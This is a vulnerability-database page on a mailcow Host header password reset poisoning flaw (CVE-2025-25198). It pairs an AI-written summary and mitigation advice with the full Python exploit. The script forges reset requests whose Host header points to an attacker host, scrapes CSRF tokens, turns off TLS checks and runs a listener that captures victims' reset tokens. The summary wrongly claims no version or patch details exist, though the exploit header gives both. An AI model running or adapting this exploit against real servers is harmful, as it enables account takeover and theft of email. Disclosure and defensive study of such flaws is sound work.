mailcow 2025-01a - Host Header Password Reset Poisoning
mailcow 2025-01a - Host Header Password Reset Poisoning
AI Analysis
Technical Summary
The mailcow 2025-01a vulnerability is a Host Header Password Reset Poisoning exploit targeting the mailcow email server suite. This vulnerability arises from improper validation or sanitization of the Host header in HTTP requests during the password reset workflow. An attacker can manipulate the Host header to craft password reset links that redirect victims to attacker-controlled domains or intercept password reset tokens. This manipulation can lead to unauthorized password resets, account takeover, or phishing attacks leveraging the trusted mailcow domain. The exploit leverages the web interface's reliance on the Host header to generate URLs in password reset emails. The presence of Python exploit code suggests that proof-of-concept scripts exist to automate the attack, increasing the risk of exploitation. Although no known active exploitation has been reported, the vulnerability's nature makes it a significant concern for mailcow users. The lack of affected version details and patch links indicates that this is a newly disclosed issue requiring immediate attention from administrators. The vulnerability falls under web security issues related to HTTP header manipulation and password reset flows, which are critical for maintaining account integrity.
Potential Impact
If exploited, this vulnerability can lead to unauthorized password resets, enabling attackers to gain control over user accounts within the mailcow system. This compromises confidentiality and integrity of user data and email communications. Attackers may also use the vulnerability to conduct phishing campaigns by redirecting users to malicious domains under the guise of legitimate password reset processes. The availability of exploit code lowers the barrier for attackers to attempt exploitation. Organizations relying on mailcow for email services risk account takeovers, data breaches, and subsequent lateral movement within their networks. The impact extends to loss of trust, potential regulatory penalties, and operational disruptions. Since mailcow is often used by small to medium enterprises and hosting providers, the threat could affect a broad range of organizations globally, especially those without robust email security monitoring.
Mitigation Recommendations
Administrators should immediately review and restrict the handling of the Host header in mailcow's password reset functionality. Implement strict validation to ensure the Host header matches expected domain values or use fixed domain names when generating password reset URLs. Employ additional verification steps in the password reset process, such as multi-factor authentication or out-of-band confirmation. Monitor logs for unusual password reset requests or Host header anomalies. Until official patches are released, consider deploying web application firewalls (WAFs) with rules to detect and block suspicious Host header manipulations. Educate users to verify password reset email URLs carefully and report suspicious activity. Regularly update mailcow installations and subscribe to vendor advisories for timely patching. Conduct penetration testing focusing on HTTP header manipulation to identify similar vulnerabilities.
Affected Countries
Germany, United States, Netherlands, France, United Kingdom, Canada, Australia, Sweden, Switzerland, Austria
Indicators of Compromise
- exploit-code: # Exploit Title: mailcow 2025-01a - Host Header Password Reset Poisoning # Date: 2025-10-21 # Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla) # Vendor Homepage: https://mailcow.email # Software Link: https://github.com/mailcow/mailcow-dockerized # Version: < 2025-01a (REQUIRED) # Tested on: Ubuntu 22.04.5 LTS, Docker 26.1.3, Docker Compose 2.27.1; mailcow:dockerized 2025-01 # CVE : CVE-2025-25198 # PoC: https://github.com/Groppoxx/CVE-2025-25198-PoC.git # mailcow: dockerized < 2025-01a - Host Header Password Reset Poisoning (CVE-2025-25198) # Description: # A flaw in mailcow’s password reset allows Host header poisoning to generate a # reset link pointing to an attacker-controlled domain, potentially enabling account # takeover if a user clicks the poisoned link. Patched in 2025-01a. # References: # - NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-25198 # - Vendor advisory: https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf # Usage (authorized testing only): # sudo python3 cve-2025-25198.py \ # --listen-host 0.0.0.0 \ # --base-url https://mail.target.tld \ # --username victim@target.tld \ # --attacker-host your.ip.or.dns \ # --http2 # Requirements: # Python 3.8+ ; pip install httpx (or 'requests' for HTTP/1.1) # Legal: # For authorized security testing only. Do NOT target live websites. from __future__ import annotations import argparse import http.server import os import re import ssl import subprocess import sys import threading from datetime import datetime, timezone from http import HTTPStatus from http.server import SimpleHTTPRequestHandler from typing import Optional, Dict, List, Tuple from urllib.parse import urlparse, parse_qs try: import requests except Exception: requests = None RESET = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" GREEN = "\033[32m" CYAN = "\033[36m" YELLOW = "\033[33m" MAGENTA = "\033[35m" ANSI_RE = re.compile(r'\x1b\[[0-9;]*m') def visible_len(s: str) -> int: return len(ANSI_RE.sub('', s)) class Console: def __init__(self, only_final: bool = False) -> None: self.only_final = only_final def log(self, msg: str) -> None: if self.only_final: return ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z") print(f"{DIM}[{ts}]{RESET} {msg}", flush=True) def banner(self, link: str, source: str = "response") -> None: host = urlparse(link).hostname or "" title = f" {BOLD}{GREEN}RESET LINK FOUND!{RESET} {DIM}({source}){RESET}" link_line = f" {CYAN}{link}{RESET}" target_line = f" Target: {BOLD}{host}{RESET}" if host else "" max_content = max( visible_len(title), visible_len(link_line), visible_len(target_line) if host else 0 ) inner_width = max(80, min(150, max_content)) line = "═" * inner_width def box_line(content: str) -> str: pad = inner_width - visible_len(content) if pad < 0: pad = 0 return f"{MAGENTA}║{RESET}{content}{' ' * pad}{MAGENTA}║{RESET}" print("") print(f"{MAGENTA}╔{line}╗{RESET}") print(box_line(title)) print(f"{MAGENTA}╟{line}╢{RESET}") print(box_line(link_line)) if host: print(box_line(target_line)) print(f"{MAGENTA}╚{line}╝{RESET}") print("") console = Console(False) RGX_TOKEN_IN_URL = re.compile(r'reset-password\?token=([^\s"&\'<>]+)', re.I) RGX_TOKEN_FALLBACK = re.compile(r'\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\b', re.I) def links_from_text(html: str, base_url: str) -> List[str]: if not html: return [] out: List[str] = [] for m in RGX_TOKEN_IN_URL.finditer(html): out.append(f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}") for m in RGX_TOKEN_FALLBACK.finditer(html): cand = f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}" if cand not in out: out.append(cand) return out def links_from_headers(headers: Dict[str, str], base_url: str) -> List[str]: loc = headers.get("Location") or headers.get("location") return links_from_text(loc, base_url) if loc else [] class ListenerState: def __init__(self) -> None: self.event = threading.Event() self.last_link: Optional[str] = None class LoggingHTTPSHandler(SimpleHTTPRequestHandler): server_version = "PoisonedHostTest/host-only" error_content_type = "text/plain" def log_message(self, *_: object) -> None: return def _record(self, code: int) -> None: parsed = urlparse(self.path) token = parse_qs(parsed.query).get("token") or [] if token: link = f"{self.server.target_base_url.rstrip('/')}/reset-password?token={token[0]}" self.server.state.last_link = link self.server.state.event.set() if not console.only_final: console.log(f"{YELLOW}[HIT]{RESET} {self.command} {self.path} ← {self.client_address[0]} [{code}]") def do_GET(self) -> None: if self.path.startswith("/favicon"): self.send_response(HTTPStatus.NO_CONTENT); self.end_headers(); return self.send_response(HTTPStatus.OK) self.send_header("Content-Type", "text/html; charset=utf-8") self.end_headers() token = parse_qs(urlparse(self.path).query).get("token", [""])[0] body = f"<!doctype html><meta charset=utf-8><title>OK</title><p>token: <b>{token}</b></p>" self.wfile.write(body.encode("utf-8")) self._record(HTTPStatus.OK) def do_POST(self) -> None: _ = self.rfile.read(int(self.headers.get("Content-Length", "0") or 0)) self.send_response(HTTPStatus.NO_CONTENT); self.end_headers() self._record(HTTPStatus.NO_CONTENT) def ensure_self_signed(cert_file: str, key_file: str, cn: str = "localhost", days: int = 365) -> None: if os.path.exists(cert_file) and os.path.exists(key_file): return console.log("[+] Generating self-signed certificate…") subprocess.run([ "openssl", "req", "-x509", "-newkey", "rsa:2048", "-keyout", key_file, "-out", cert_file, "-days", str(days), "-nodes", "-subj", f"/CN={cn}" ], check=True) def require_root_for_privileged_port(port: int) -> None: if port < 1024: # POSIX check: require root if binding <1024 if hasattr(os, "geteuid"): if os.geteuid() != 0: print("[-] Port 443 requires root. Re-run with sudo.", file=sys.stderr) sys.exit(2) # On non-POSIX (e.g., Windows) we don't enforce sudo. def start_https_listener(host: str, port: int, cert: str, key: str, base_url: str, state: ListenerState): ensure_self_signed(cert, key) httpd = http.server.ThreadingHTTPServer((host, port), LoggingHTTPSHandler) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(certfile=cert, keyfile=key) httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True) httpd.target_base_url = base_url httpd.state = state threading.Thread(target=httpd.serve_forever, name="https-listener", daemon=True).start() console.log(f"[+] HTTPS listener on https://{host}:{port}") return httpd def add_cookie_string_to_session(session, cookie_header: Optional[str], base_url: str) -> None: if not cookie_header: return host = urlparse(base_url).hostname for part in re.split(r';\s*|,\s*', cookie_header.strip()): if not part or "=" not in part: continue name, val = part.split("=", 1) try: session.cookies.set(name.strip(), val.strip(), domain=host) except Exception: pass class HttpClient: def __init__(self, base_url: str, use_http2: bool, cookie_header: Optional[str]) -> None: self.base_url = base_url.rstrip("/") self.use_http2 = use_http2 if use_http2: try: import httpx except Exception as e: raise RuntimeError("Install httpx for --http2: pip install httpx") from e # TLS verification disabled intentionally for testing environments self.session = httpx.Client(http2=True, verify=False, timeout=20.0, follow_redirects=False) else: if requests is None: raise RuntimeError("Missing 'requests' for HTTP/1.1.") self.session = requests.Session() add_cookie_string_to_session(self.session, cookie_header, self.base_url) def get(self, url: str, headers: Dict[str, str], allow_redirects: bool): if self.use_http2: return self.session.get(url, headers=headers or {}, follow_redirects=allow_redirects) # requests: disable TLS verification explicitly return self.session.get(url, headers=headers or {}, verify=False, timeout=20, allow_redirects=allow_redirects) def post(self, url: str, headers: Dict[str, str], data: Dict[str, str], allow_redirects: bool): if self.use_http2: return self.session.post(url, headers=headers or {}, data=data or {}, follow_redirects=allow_redirects) return self.session.post(url, headers=headers or {}, data=data or {}, verify=False, timeout=20, allow_redirects=allow_redirects) RGX_INPUTS = [ re.compile(r'name=["\']csrf_token["\']\s+value=["\']([0-9a-zA-Z_\-./+=:]+)["\']'), re.compile(r'name=["\']_csrf["\']\s+value=["\']([^"\']+)["\']'), re.compile(r'name=["\']csrf["\']\s+value=["\']([^"\']+)["\']'), re.compile(r'name=["\']csrf_token_reset["\']\s+value=["\']([^"\']+)["\']'), ] RGX_META = re.compile(r'<meta\s+name=["\']csrf-token["\']\s+content=["\']([^"\']+)["\']', re.I) RGX_JS = [ re.compile(r'csrf_token\s*[:=]\s*["\']([^"\']+)["\']', re.I), re.compile(r'window\.\w*csrf\w*\s*=\s*["\']([^"\']+)["\']', re.I), ] COOKIE_CSRF = ["csrf_token", "_csrf", "XSRF-TOKEN", "CSRF-TOKEN"] HEX64 = re.compile(r'^[0-9a-f]{64}$', re.I) def _csrf_candidates_html(html: str) -> List[str]: if not html: return [] cands: List[str] = [] for rgx in RGX_INPUTS: m = rgx.search(html) if m: cands.append(m.group(1)) m = RGX_META.search(html) if m: cands.append(m.group(1)) for rgx in RGX_JS: m = rgx.search(html) if m: cands.append(m.group(1)) for m in re.finditer(r'csrf_token=([0-9a-zA-Z_\-./+=:]{16,})', html): cands.append(m.group(1)) seen: set[str] = set() out: List[str] = [] for v in cands: if v not in seen: seen.add(v); out.append(v) return out def _csrf_from_set_cookie(headers: Dict[str, str]) -> Optional[str]: sc = headers.get("Set-Cookie") or headers.get("set-cookie") if not sc: return None for cookie in re.split(r',(?=\s*\w+=)', sc): for name in COOKIE_CSRF: m = re.search(rf'\b{name}=([^;,\s]+)', cookie, re.I) if m: return m.group(1) return None def _best_csrf(candidates: List[str]) -> Optional[str]: if not candidates: return None for c in candidates: if HEX64.fullmatch(c): return c return candidates[0] def nav_headers(base_url: str, attacker_host: str) -> Dict[str, str]: return { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Te": "trailers", "Referer": base_url.rstrip("/") + "/", "Origin": base_url, "Host": attacker_host, } def fetch_csrf_auto(client: HttpClient, base_url: str, attacker_host: str, username: str) -> str: paths = ["", "/", "/index.php", "/reset-password", "/login", "/auth", "/user/reset"] h1 = nav_headers(base_url, attacker_host) for p in paths: url = client.base_url + p try: r = client.get(url, headers=h1, allow_redirects=True) text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore") headers = dict(getattr(r, "headers", {})) token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text)) if token: return token except Exception as e: console.log(f"[!] CSRF GET failed at {url}: {e}") h2 = dict(h1); h2.pop("Host", None) for p in paths: url = client.base_url + p try: r = client.get(url, headers=h2, allow_redirects=True) text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore") headers = dict(getattr(r, "headers", {})) token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text)) if token: return token except Exception as e: console.log(f"[!] CSRF GET (no Host) failed at {url}: {e}") pre_headers = { "User-Agent": h1["User-Agent"], "Accept": h1["Accept"], "Accept-Language": h1["Accept-Language"], "Content-Type": "application/x-www-form-urlencoded", "Host": attacker_host, "Referer": base_url.rstrip("/") + "/", "Origin": base_url, "Upgrade-Insecure-Requests": "1", } try: r = client.post(client.base_url + "/reset-password", headers=pre_headers, data={"username": username, "pw_reset_request": "", "csrf_token": ""}, allow_redirects=True) text = r.text if hasattr(r, "text") else r.content.decode("utf-8", "ignore") headers = dict(getattr(r, "headers", {})) token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text)) if token: return token except Exception as e: console.log(f"[!] Preflight POST for CSRF failed: {e}") raise RuntimeError("Unable to auto-extract csrf_token.") def looks_like_csrf_error(body: str, status: int) -> bool: if status in (400, 403): return True text = (body or "").lower() return any(k in text for k in ("csrf", "invalid token", "expired token", "forgery", "bad token")) def run_sequence(client: HttpClient, base_url: str, username: str, csrf: str, attacker_host: str) -> Tuple[Optional[str], Dict[str, object], str]: ua = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" headers = { "User-Agent": ua, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded", "Host": attacker_host, "Referer": base_url.rstrip('/') + "/", "Origin": base_url, "Upgrade-Insecure-Requests": "1", } r1 = client.get(base_url, headers=headers, allow_redirects=True) body1 = r1.text if hasattr(r1, "text") else r1.content.decode("utf-8", "ignore") reset_ep = base_url.rstrip("/") + "/reset-password" payload = {"username": username, "pw_reset_request": "", "csrf_token": csrf} r2 = client.post(reset_ep, headers=headers, data=payload, allow_redirects=False) body2 = r2.text if hasattr(r2, "text") else r2.content.decode("utf-8", "ignore") r3 = client.get(base_url.rstrip("/") + "/", headers=headers, allow_redirects=False) body3 = r3.text if hasattr(r3, "text") else r3.content.decode("utf-8", "ignore") found: List[str] = [] found += links_from_headers(dict(getattr(r1, "headers", {})), base_url) found += links_from_headers(dict(getattr(r2, "headers", {})), base_url) found += links_from_headers(dict(getattr(r3, "headers", {})), base_url) found += links_from_text(body1, base_url) found += links_from_text(body2, base_url) found += links_from_text(body3, base_url) seen: set[str] = set() clean = [l for l in found if not (l in seen or seen.add(l))] summary = { "get1": getattr(r1, "status_code", None), "post": getattr(r2, "status_code", None), "get2": getattr(r3, "status_code", None), "links_found": clean, } return (clean[0] if clean else None), summary, body2 def attempt_once(base_url: str, username: str, attacker_host: str, use_http2: bool, cookie_header: Optional[str], csrf_override: Optional[str]) -> Tuple[Optional[str], Dict[str, object]]: client = HttpClient(base_url, use_http2, cookie_header) if csrf_override: csrf = csrf_override console.log(f"[+] Using provided CSRF: {csrf[:16]}…") else: csrf = fetch_csrf_auto(client, base_url, attacker_host, username) console.log(f"[+] Auto CSRF: {csrf[:16]}…") console.log("[>] Sending sequence with poisoned Host") link, summary, post_body = run_sequence(client, base_url, username, csrf, attacker_host) if not link: post_status = int(summary.get("post") or 0) if not csrf_override and looks_like_csrf_error(post_body, post_status): console.log("[!] CSRF invalid/expired. Rotating session and retrying once…") client = HttpClient(base_url, use_http2, None) csrf2 = fetch_csrf_auto(client, base_url, attacker_host, username) console.log(f"[+] Auto CSRF (retry): {csrf2[:16]}…") link, summary, _ = run_sequence(client, base_url, username, csrf2, attacker_host) return link, summary def run_until_success(listen_host: str, base_url: str, username: str, attacker_host: str, use_http2: bool, interval: float, max_attempts: int, cookie_header: Optional[str], csrf_override: Optional[str]) -> Optional[str]: # Force port 443 and require sudo/root on POSIX listen_port = 443 require_root_for_privileged_port(listen_port) state = ListenerState() srv = start_https_listener(listen_host, listen_port, "server.pem", "server.key", base_url, state) try: attempt = 0 while True: attempt += 1 if max_attempts and attempt > max_attempts: console.log("[i] Reached --max-attempts without success.") return None try: link, _summary = attempt_once(base_url, username, attacker_host, use_http2, cookie_header, csrf_override) except Exception as e: console.log(f"[!] Attempt #{attempt} error: {e}") link = None if link: console.banner(link, source="response") return link if state.event.wait(timeout=interval): link = state.last_link if link: console.banner(link, source="listener") return link console.log(f"[i] Attempt #{attempt} yielded no link. Retrying in {int(interval)}s…") except KeyboardInterrupt: console.log("[+] Aborted by user.") return None finally: try: srv.shutdown() except Exception: pass def main() -> None: p = argparse.ArgumentParser( description="Host header poisoning tester (Mailcow CVE-2025-25198) — HTTPS listener on port 443 (requires sudo/root), auto-cookie + auto-CSRF (or --csrf), retry, Host-only" ) p.add_argument("--listen-host", required=True) p.add_argument("--base-url", required=True) p.add_argument("--username", required=True) p.add_argument("--attacker-host", required=True) p.add_argument("--http2", action="store_true", help="Use HTTP/2 (recommended)") p.add_argument("--interval", type=float, default=8.0, help="Seconds between attempts and click wait window") p.add_argument("--max-attempts", type=int, default=0, help="0=infinite; >0 limits attempts") p.add_argument("--cookie", default=None, help="(Optional) inject cookies, e.g., PHPSESSID=...") p.add_argument("--csrf", default=None, help="(Optional) provide csrf_token explicitly (auto if omitted)") p.add_argument("--only-final", action="store_true", help="Hide progress; print only the final link banner") args = p.parse_args() global console console = Console(only_final=args.only_final) if not args.http2 and requests is None: console.log("[!] Install 'requests' or use --http2 with 'httpx'."); sys.exit(2) if not args.http2: console.log("[i] Running over HTTP/1.1 (requests). For best parity, use --http2.") link = run_until_success( listen_host=args.listen_host, base_url=args.base_url, username=args.username, attacker_host=args.attacker_host, use_http2=args.http2, interval=args.interval, max_attempts=args.max_attempts, cookie_header=args.cookie, csrf_override=args.csrf, ) if link: if not args.only_final: print(f"{BOLD}{GREEN}Success:{RESET} reset link obtained. Exiting.") else: if not args.only_final: print("[i] No success (attempts exhausted or aborted).") if __name__ == "__main__": main()
mailcow 2025-01a - Host Header Password Reset Poisoning
Description
mailcow 2025-01a - Host Header Password Reset Poisoning
AI-Powered Analysis
Technical Analysis
The mailcow 2025-01a vulnerability is a Host Header Password Reset Poisoning exploit targeting the mailcow email server suite. This vulnerability arises from improper validation or sanitization of the Host header in HTTP requests during the password reset workflow. An attacker can manipulate the Host header to craft password reset links that redirect victims to attacker-controlled domains or intercept password reset tokens. This manipulation can lead to unauthorized password resets, account takeover, or phishing attacks leveraging the trusted mailcow domain. The exploit leverages the web interface's reliance on the Host header to generate URLs in password reset emails. The presence of Python exploit code suggests that proof-of-concept scripts exist to automate the attack, increasing the risk of exploitation. Although no known active exploitation has been reported, the vulnerability's nature makes it a significant concern for mailcow users. The lack of affected version details and patch links indicates that this is a newly disclosed issue requiring immediate attention from administrators. The vulnerability falls under web security issues related to HTTP header manipulation and password reset flows, which are critical for maintaining account integrity.
Potential Impact
If exploited, this vulnerability can lead to unauthorized password resets, enabling attackers to gain control over user accounts within the mailcow system. This compromises confidentiality and integrity of user data and email communications. Attackers may also use the vulnerability to conduct phishing campaigns by redirecting users to malicious domains under the guise of legitimate password reset processes. The availability of exploit code lowers the barrier for attackers to attempt exploitation. Organizations relying on mailcow for email services risk account takeovers, data breaches, and subsequent lateral movement within their networks. The impact extends to loss of trust, potential regulatory penalties, and operational disruptions. Since mailcow is often used by small to medium enterprises and hosting providers, the threat could affect a broad range of organizations globally, especially those without robust email security monitoring.
Mitigation Recommendations
Administrators should immediately review and restrict the handling of the Host header in mailcow's password reset functionality. Implement strict validation to ensure the Host header matches expected domain values or use fixed domain names when generating password reset URLs. Employ additional verification steps in the password reset process, such as multi-factor authentication or out-of-band confirmation. Monitor logs for unusual password reset requests or Host header anomalies. Until official patches are released, consider deploying web application firewalls (WAFs) with rules to detect and block suspicious Host header manipulations. Educate users to verify password reset email URLs carefully and report suspicious activity. Regularly update mailcow installations and subscribe to vendor advisories for timely patching. Conduct penetration testing focusing on HTTP header manipulation to identify similar vulnerabilities.
Technical Details
- Edb Id
- 52485
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for mailcow 2025-01a - Host Header Password Reset Poisoning
# Exploit Title: mailcow 2025-01a - Host Header Password Reset Poisoning # Date: 2025-10-21 # Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla) # Vendor Homepage: https://mailcow.email # Software Link: https://github.com/mailcow/mailcow-dockerized # Version: < 2025-01a (REQUIRED) # Tested on: Ubuntu 22.04.5 LTS, Docker 26.1.3, Docker Compose 2.27.1; mailcow:dockerized 2025-01 # CVE : CVE-2025-25198 # PoC: https://github.com/Groppoxx/CVE-2025-25198-PoC.git # mailcow: dockerized < 2025-01a... (20743 more characters)
Threat ID: 69a792c9d1a09e29cbc1c30a
Added to database: 3/4/2026, 2:02:49 AM
Last enriched: 3/4/2026, 2:03:17 AM
Last updated: 3/4/2026, 7:52:28 AM
Views: 7
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MediumWordPress Backup Migration 1.3.7 - Remote Command Execution
MediumActions
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